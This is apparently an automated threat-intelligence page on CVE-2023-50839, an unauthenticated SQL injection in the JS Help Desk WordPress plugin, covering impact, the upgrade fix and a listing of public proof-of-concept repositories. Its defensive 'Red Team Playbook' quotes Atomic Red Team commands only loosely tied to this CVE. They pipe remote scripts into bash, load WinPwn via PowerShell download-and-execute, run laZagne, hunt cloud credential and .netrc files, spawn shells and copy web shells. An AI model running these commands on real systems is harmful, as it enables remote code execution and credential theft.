CVE-2023-50839
Overview
This vulnerability is a SQL Injection caused by improper neutralization of special elements within SQL commands. The root cause is insufficient escaping and lack of parameterized queries in the handling of user-supplied inputs. The affected component is the JS Help Desk – Best Help Desk & Support Plugin for WordPress, specifically its processing of input parameters in the support ticket control panel.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in JS Help Desk JS Help Desk – Best Help Desk & Support Plugin.This issue affects JS Help Desk – Best Help Desk & Support Plugin: from n/a through 2.8.1.
Impact
An unauthenticated attacker can exploit this flaw to execute arbitrary SQL commands on the backend database. This can result in unauthorized data disclosure, modification of records, or partial database compromise. No user interaction or authentication is required, making it accessible to remote attackers. The business impact includes potential data breaches, loss of data integrity, and exposure of sensitive customer or system information, which can lead to reputational damage and regulatory consequences.
Solution
Upgrade the JS Help Desk plugin to version 2.8.2 or later, as this version addresses the SQL injection vulnerability. Detailed patch instructions and advisories are available on the vendor’s official page and the referenced Patchstack advisory. Applying the update ensures proper input sanitization and use of prepared statements to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the JS Help Desk – Best Help Desk & Support Plugin arises from improper neutralization of special elements used in SQL commands, commonly known as SQL Injection. This flaw allows an attacker to manipulate SQL queries by injecting malicious input into the application's database queries. The improper handling of user-supplied data can lead to unauthorized access to sensitive information, including user credentials, personal data, and other critical database contents. The vulnerability is particularly severe due to the high CVSS score of 9.8, indicating that it poses a significant risk to systems utilizing this plugin.
Attack vectors for this vulnerability are diverse and can be exploited through various means. An attacker may leverage web forms, URL parameters, or API endpoints that interact with the database. For instance, by crafting a malicious input string that includes SQL commands, an attacker could bypass authentication mechanisms or extract data from the database. Exploitation scenarios might include retrieving user lists, altering user privileges, or even executing administrative commands, depending on the permissions of the database user account utilized by the application. The ease of exploitation, combined with the potential for severe consequences, makes this vulnerability particularly concerning for organizations relying on the affected plugin.
The real-world impact of this vulnerability can be profound, especially for businesses that depend on the JS Help Desk plugin for customer support and ticket management. Successful exploitation could lead to data breaches, resulting in the exposure of sensitive customer information, which could violate data protection regulations such as GDPR or HIPAA. The financial repercussions of such breaches can be significant, including legal penalties, loss of customer trust, and the costs associated with incident response and remediation efforts. Furthermore, the reputational damage incurred from a data breach can have long-lasting effects on an organization's brand and customer loyalty.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify vulnerable areas within the application. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, developers should adhere to secure coding practices, such as using prepared statements and parameterized queries, to prevent SQL injection vulnerabilities. Keeping the plugin and all associated software up to date is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the SQL Injection vulnerability in the JS Help Desk – Best Help Desk & Support Plugin presents a critical risk to organizations that utilize this software. The potential for unauthorized access to sensitive data and the subsequent impact on business operations necessitate immediate attention. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability effectively. Implementing robust security measures and maintaining vigilance in software updates will be essential in safeguarding against such threats.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-50839, highlighted by the emergence of a public proof-of-concept exploit hosted on GitHub. This development broadens the exploit landscape, making the vulnerability more accessible to a wider range of threat actors, including less sophisticated adversaries. Our telemetry indicates a sharp increase in exploitation attempts, underscoring the growing interest and potential weaponization of this SQL injection flaw. Although the CVSS score was adjusted downward slightly, the presence of publicly available exploit code and expanded tooling elevates the practical risk to defenders. The EPSS score’s moderate decline suggests a nuanced shift in exploitation likelihood, but the overall threat posture remains critical due to the vulnerability’s ease of exploitation and potential for unauthorized data access. This evolving situation demands heightened monitoring as attackers leverage new resources to bypass existing defenses, increasing the urgency for organizations to reassess their exposure and detection capabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wiselyhub | Js Help Desk | All |
cpe:2.3:a:wiselyhub:js_help_desk:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Francesco-CyberIntelligence/bug-bounty-findings-o-research-disclosures.
Bug Bounty: CVE-2023-50839 IDOR identified in a third-party support component via 'gau' and 'Nuclei'. Despite perimeter ...
|
Francesco-CyberIntelligence | 0 | 0 | 2026-04-24 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-50839 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/js-support-ticket/wordpress-js-help-desk-plugin-2-8-1-unauthenticated-sql-injection-vulnerability?_s_id=cve |